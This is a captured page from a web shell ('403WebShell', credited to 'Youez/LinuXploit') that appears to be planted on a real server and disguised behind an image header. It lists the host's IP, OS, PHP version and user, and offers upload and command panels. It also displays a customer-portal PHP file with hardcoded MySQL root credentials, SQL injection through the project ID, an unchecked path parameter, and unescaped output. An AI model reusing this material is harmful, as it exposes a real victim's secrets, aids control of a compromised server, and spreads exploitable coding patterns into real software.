????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.142.83.171
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/customerzon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/customerzon/downloadfiles.php
<?php
	session_start();
	
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
	
	$ProjectId = $_GET['projectId'];
	$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];
  	$UserGroupId = $_SESSION['ASTACUS_SSO_INFO'][3];
	if($UserGroupId == 2 || $UserGroupId == 7 || $UserGroupId == 8 || $UserGroupId == 10 ){
	 $sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and ProjectId = $ProjectId";
	}else{
	 $sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and ProjectId = $ProjectId and CompanyId = $CompanyId";
	}  
	 $result = mysql_query($sql);
	 
	  
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$CompanyId =  $row['CompanyId'];
		$ProjectName =  $row['Name'];
		$Description =  $row['Description'];
		$RequestedDeliveryDate =  $row['RequestedDeliveryDate'];
		$ProjectStatusId = $row['ProjectStatusId'];
	  }
	  
	   if($ProjectName == "" && $ProjectStatusId == "" && ($UserGroupId != 2 && $UserGroupId != 8 && $UserGroupId != 10 )){
	  	$CompanyId = "";
		$ProjectId  = "";
		echo("<center><h1>Kunde inte hitta detta ProjektID till ditt konto!</h1></center>");
		exit;
	  }
	   
	   

	 
	 	$Email = $_SESSION['ASTACUS_SSO_INFO'][5];
		$Company = $_SESSION['ASTACUS_SSO_INFO'][10];

?>
<link href="../main.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>

 <script type="text/javascript" src="http://www.google.com/jsapi">
    </script>
    
    
    <script type="text/javascript">

function selectAll(){
		var tags = document.getElementsByName('selectedfiles[]');
for(var i = 0; i < tags.length; ++i)
{
	if( tags[i].checked == 1){
  		tags[i].checked = 0;
	}else{
		 tags[i].checked = 1;	
	}
}
}

    google.load("language", "1");
var s;
    function initialize() {
      var text = document.getElementById("text").value;
      google.language.detect(text, function(result) {
        if (!result.error && result.language) {
          google.language.translate(text, result.language, "en",
                                    function(result) {
            var translated = document.getElementById("translation");
            if (result.translation) {
              translated.value = result.translation;
            }
          });
        }
      });
	  s=setTimeout("initialize()",1000);

    }
    google.setOnLoadCallback(initialize);


    </script>
	
<table width="850" height="64" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td valign="top" background="../images/tabb3.jpg"><table width="850" height="23" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="5" height="23">&nbsp;</td>
        <td width="111" valign="bottom" class="blacklink"><div align="center"><a href="?page=project&amp;projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a60);?></a></div></td>
        <td width="22" valign="bottom" class="blacklink"><div align="center"></div></td>
        <td width="106" valign="bottom" class="blacklink"><div align="center"><a href="?page=upload&amp;projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a50);?></a></div></td>
        <td width="18" valign="bottom" class="blacklink"><div align="center"></div></td>
        <td width="107" valign="bottom" class="blacklink"><div align="center"><a href="?page=download&amp;projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a49);?></a></div></td>
        <td width="22" class="blacklink">&nbsp;</td>
        <td width="103" valign="bottom" class="blacklink"><div align="center"><a href="?page=logg&amp;projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a61);?></a></div></td>
        <td width="21" class="blacklink">&nbsp;</td>
        <td width="104" valign="bottom" class="blacklink"><div align="center"><a href="?page=settings&amp;projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a62);?></a></div></td>
        <td width="138" class="blacklink">&nbsp;</td>
        <td width="23" class="blacklink">&nbsp;</td>
        <td width="70" class="blacklink">&nbsp;</td>
      </tr>
    </table></td>
  </tr>
</table>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="90">&nbsp;</td>
    <td width="820"><table width="820" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td colspan="5" valign="top"><table width="821" border="0" cellpadding="0" cellspacing="0">
          <tr >
            <td colspan="4" valign="top" class="text"><span class="heading1"><?php echo($a49);?> </span>
                <table width="397" border="0" cellpadding="0" cellspacing="0">
                  <tr valign="top">
                    <td width="398"><span class="heading2"><?php echo($a63);?><?php echo($CompanyId);?>_<?php echo($ProjectName);?> (<?php echo($ProjectId);?>)</span> <br>
                    </td>
                    <td width="57"><div align="right"><span class="textthin"><br>
                    </span> </div></td>
                  </tr>
              </table></td>
            <td width="357" valign="top" class="textthin"><div align="right"><span class="heading1"><a href="/customerzon/"><img src="../images/Back-Arrow.jpg" alt="" width="37" height="36" border="0" align="absmiddle" /></a> <a href="/customerzon/" class="blacklinkhuge"><?php echo($a12);?></a></span></div></td>
          </tr>
        </table>          <br>
          <hr width="820" size="1">
          <span class="heading2"><br>
          </span>
          <table width="820" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="715" height="677" valign="top">                  <span class="heading2">                  </span><span class="heading2"><?php echo($a95);?><br>
              </span>
              <form id="form2" name="form2" method="post" action="download_checked_files.php?project=<?php echo($CompanyId);?>_<?php echo($ProjectName);?> (<?php echo($ProjectId);?>)&projectId=<?php echo($ProjectId);?>&companyId=<?php echo($CompanyId);?>&systemUserMail=<?php echo($_SESSION['ASTACUS_SSO_INFO'][2]);?>&systemUserName=<?php echo($_SESSION['ASTACUS_SSO_INFO'][1]);?>&path=<?php echo($_GET['path']);?>">
                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr class="text">
                    <td width="323">Name</td>
                    <td width="70">Files</td>
                    <td width="110">Size</td>
                    <td width="149">Last changed</td>
                    <td width="113"><a href="javascript:selectAll();">Select all</a></td>
                  </tr>
                </table>
                <?php 
				  
				  	function AddPath($PathToCreate){
						$iBreak = 0;
						$iBreak = strrpos($PathToCreate, "/");
						if($iBreak !== FALSE){
							$Parent = substr($PathToCreate, 0, $iBreak);
							if(!@chdir($Parent)){
								AddPath($Parent);
							}
						}
					
						if(!@chdir($PathToCreate)){
							mkdir($PathToCreate);
						}
					}
					
					

function count_files_recursive($path) {
 
    // use a normalize_path function here
    // to make sure $path contains an
    // ending slash
    // (-> http://codedump.jonasjohn.de/snippets/normalize_path.htm)
 

    $files = 0;
 
 if(substr($path,strlen($path)-1,1) != "/"){
 $path = $path."/";
 }
    // open dir:
    $dir = opendir($path);
    if (!$dir){return 0;}
	
	
	
 
    while (($file = readdir($dir)) !== false) {
 
        if ($file[0] == '.'){ continue; }
 
        if (is_dir($path.$file)){        
            // recursive:
            $files += count_files_recursive($path.$file.DIRECTORY_SEPARATOR);
        }
        else {
            // increase file count
            $files++;
        }
    }    
    // close dir:
    closedir($dir);
 
    return $files;
}
function GetFolderSize($d ="." ) {
    // &copy; kasskooye and patricia benedetto
    $h = @opendir($d);
    if($h==0)return 0;

    while ($f=readdir($h)){
        if ( $f!= "..") {
            $sf+=filesize($nd=$d."/".$f);
            if($f!="."&&is_dir($nd)){
                $sf+=GetFolderSize ($nd);
            }
        }
    }
    closedir($h);
    return $sf ;
} 



				    $path = "/var/www/icad_files/$CompanyId/$ProjectId/productionzon/";
				   AddPath($path);
				    $path = "/var/www/icad_files/$CompanyId/$ProjectId/productionzon";
				   AddPath($path);
				   
				     $path = "/var/www/icad_files/$CompanyId/$ProjectId/productionzon";
				   AddPath($path);
						   
				    $path = "/var/www/icad_files/$CompanyId/$ProjectId/productionzon/".urldecode($_GET['path'])."/";
				   AddPath($path);
				   
				
				/*
				$dir = "../mydir/";
chdir($dir);
array_multisort(array_map('filemtime', ($files = glob("*.*"))), SORT_DESC, $files);
foreach($files as $filename)
{
	echo "<li>".substr($filename, 0, -4)."</li>";
}
				*/
				
	$files = array();
	

	$dir_handle = @opendir($path);
	$e=1;
    while (false !== ($file = readdir($dir_handle))) {
      //  if ($file != "." && $file != "..") {
           $files[$e] = $file;
		   $e++;
        //}
    }
    closedir($handle);

				
	arsort($files);
				  
				   
				   $x = 0;
				  // while (false !== ($file = readdir($dir_handle))){
				  foreach($files as $file){
				    if(substr($file,0,1) != "."){
					
					
				    $x++;
				   if(!is_file($path."/".$file)){
				   		$size = round(GetFolderSize($path."/".$file)/(1024),2)." Kb";
						$nbr = count_files_recursive($path."/".$file);
						$p = $_GET['path'];
						if($p == "/"){
							$p = "";
						}
						$filestr = "?page=download&projectId=$ProjectId&companyId=$".$_GET['companyId']."&path=".$p."/".$file;
						$ico = "folder.gif";
						
				   }else {
				    	$size  = round(filesize($file)/(1024),2) . " Kb";
						$nbr = "";
						$filestr  = "download_singel_file.php?file=".$_GET['path']."/".$file."&projectId=$ProjectId&customerId=$CompanyId";
						
						
						
						$ico = "file.gif";
				   }
				  ?>
                <table width="100%" border="0" cellspacing="0" cellpadding="0">
                  <tr class="textthin">
                    <td width="323"><img src="../images/icons/<?php echo($ico);?>" alt="" width="16" height="16" align="absmiddle" />&nbsp;&nbsp;<a href="<?php echo($filestr);?>"><?php echo($file);?></a></td>
                    <td width="70"><?php echo($nbr);?></td>
                    <td width="110"><?php echo($size);?></td>
                    <td width="149"><?php echo(date("Y-m-d H:i:s",filemtime($file)));?></td>
                    <td width="61"><div align="left"><a href="javascript:deleteFile('deletefiles.php?projectId=<?php echo($ProjectId);?>&amp;path=<?php echo($_GET['path']);?>&amp;file=<?php echo($file);?>');"></a>
                      <input type="checkbox" name="selectedfiles[]" value="<?php echo($path."/".$file);?>"/>
                    </div></td>
                    <td width="51" align="right"><a href="javascript:deleteFile('deletefiles.php?projectId=<?php echo($ProjectId);?>&amp;path=<?php echo($_GET['path']);?>&amp;file=<?php echo($file);?>&amp;page=project');"><img src="../images/del.jpg" alt="" width="20" height="20" border="0" /></a></td>
                  </tr>
                </table>
                <?php }
				    } 
					
					if($x == 0){

						echo("<br> <span class='style6'> -- No Files are uploaded yet!</span>");

					}
					
					?>
                    <br />
                    <br />
                    <input type="submit" name="submit" value="Download selected files and folders" />
              </form>
                <span class="heading2"><br>
                  </span>
                  <br>
                  <p><span class="heading2"><br>
                </span>                </p></td><td width="16">&nbsp;</td>
              <td width="89" valign="top"><!--
Skype 'My status' button
http://www.skype.com/go/skypebuttons
-->
               
                <br>
                <!--
Skype 'My status' button
http://www.skype.com/go/skypebuttons
-->
                
                <br>                </td>
            </tr>
          </table>
          <span class="style6"><br>
          </span>
          <hr width="820" size="1">
          <span class="style6">                    </span></td>
        </tr>
    </table>      
    </td>
    <td width="90">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3">&nbsp;    </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit